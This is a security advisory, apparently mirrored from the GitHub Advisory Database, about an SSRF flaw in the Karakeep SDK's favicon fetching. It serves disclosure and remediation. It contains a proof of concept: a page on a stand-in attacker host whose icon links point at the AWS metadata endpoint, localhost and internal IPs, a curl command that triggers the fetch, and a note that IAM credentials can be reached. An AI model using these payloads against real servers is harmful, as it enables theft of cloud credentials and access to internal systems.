@karakeep/sdk
Affected
- introduced
0, fixed0.32.0(semver)
Fixed versions
0.32.0
Fix
- Fixed version
0.32.0npm install @karakeep/[email protected]
Advisory
Also known as: None
Karakeep SDK has SSRF via metascraper-logo-favicon that bypasses validateUrl protections
Summary
The metascraper-logo-favicon plugin makes HTTP requests to URLs extracted from attacker-controlled HTML without going through the application's validateUrl() SSRF protections. This allows any authenticated user to make the server fetch arbitrary internal URLs by bookmarking a page containing a crafted <link rel="icon"> tag.
Details
Protected path (correct)
Karakeep implements comprehensive SSRF protections in apps/workers/network.ts (lines 12-222). The validateUrl() function blocks loopback, private, link-local, carrier-grade NAT, and reserved IP ranges. It resolves DNS before the fetch and checks all resolved IPs against the blacklist. This function is correctly used by fetchWithProxy() for the main bookmark URL fetch, image downloads, RSS feeds, and webhooks.
Unprotected path (vulnerability)
After fetching the page HTML (with SSRF protection), the content is passed to a parse subprocess (apps/workers/scripts/parseHtmlSubprocess.ts). Inside this subprocess, metascraper-logo-favicon (v5.49.5) extracts favicon URLs from the HTML DOM by matching <link rel="icon"> elements and reading their href attribute.
The plugin then calls reachable-url (which wraps got) to verify each extracted URL. These HTTP requests bypass validateUrl() entirely:
// apps/workers/scripts/parseHtmlSubprocess.ts, lines 62-73
metascraperLogo({
gotOpts: {
agent: {
http: serverConfig.proxy.httpProxy
? new HttpProxyAgent(getRandomProxy(serverConfig.proxy.httpProxy))
: undefined,
https: serverConfig.proxy.httpsProxy
? new HttpsProxyAgent(getRandomProxy(serverConfig.proxy.httpsProxy))
: undefined,
},
},
}),
Only proxy agent configuration is provided. No URL validation hooks, no IP blacklist, no DNS resolution checks. The got HTTP client makes direct requests to whatever URLs are extracted from the HTML.
Data flow
1. User creates bookmark → URL validated by validateUrl() ✓
2. Page HTML fetched → via fetchWithProxy() with SSRF protection ✓
3. HTML passed to parseHtmlSubprocess via stdin
4. metascraper-logo-favicon parses <link rel="icon"> tags from HTML
5. Plugin calls reachable-url → got.get(faviconUrl) → NO validateUrl() ✗
6. Server makes HTTP GET to attacker-controlled internal URL
Comparison
The application explicitly protects the main URL fetch with validateUrl() (network.ts:136-222), which blocks all private/loopback IPs and resolves DNS before connecting. The recent commit history shows deliberate SSRF hardening ("Stricter SSRF validation" on 2025-11-02, allowlist feature on 2025-11-22). However, the metascraper plugins' internal HTTP requests are not routed through this validation.
PoC
1. Set up a malicious page on a public URL
<!-- Hosted at https://attacker.example.com/ssrf.html -->
<html>
<head>
<title>Innocent Page</title>
<link rel="icon" href="http://169.254.169.254/latest/meta-data/" sizes="256x256">
<link rel="icon" href="http://127.0.0.1:3000/api/v1/users/whoami" sizes="128x128">
<link rel="icon" href="http://192.168.1.1/admin" sizes="64x64">
</head>
<body><p>Normal content</p></body>
</html>
2. Create a bookmark via the API
curl -X POST http://localhost:3000/api/v1/bookmarks \
-H "Authorization: Bearer YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{"type": "link", "url": "https://attacker.example.com/ssrf.html"}'
3. Result
The main URL (https://attacker.example.com/ssrf.html) passes validateUrl() since it resolves to a public IP. After the HTML is fetched, metascraper-logo-favicon extracts the favicon URLs and calls reachable-url/got to verify them. The server makes HTTP GET requests to:
http://169.254.169.254/latest/meta-data/ (AWS IMDS)http://127.0.0.1:3000/api/v1/users/whoami (localhost)http://192.168.1.1/admin (internal network)These requests bypass all SSRF protections.
Verification: Monitor outbound network traffic from the karakeep container or check the logo field in the bookmark response.
Impact
http://169.254.169.254/latest/meta-data/iam/security-credentials/) which may expose IAM credentials.Suggested Fix
// apps/workers/scripts/parseHtmlSubprocess.ts
+ import { validateUrl } from "network";
+
+ // Create a got hook that validates URLs before requests
+ const ssrfHook = {
+ beforeRequest: [
+ async (options) => {
+ const result = await validateUrl(options.url.toString(), false);
+ if (!result.ok) {
+ throw new Error(`SSRF blocked: ${result.reason}`);
+ }
+ }
+ ]
+ };
+
metascraperLogo({
gotOpts: {
+ hooks: ssrfHook,
agent: { ... },
},
}),
Alternatively, run the parse subprocess in a network-restricted sandbox (network namespace, nsjail, or a Docker container with restricted networking).
High Basis: The source's own band: HIGH
0, fixed 0.32.0 (semver)0.32.0
0.32.0npm install @karakeep/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0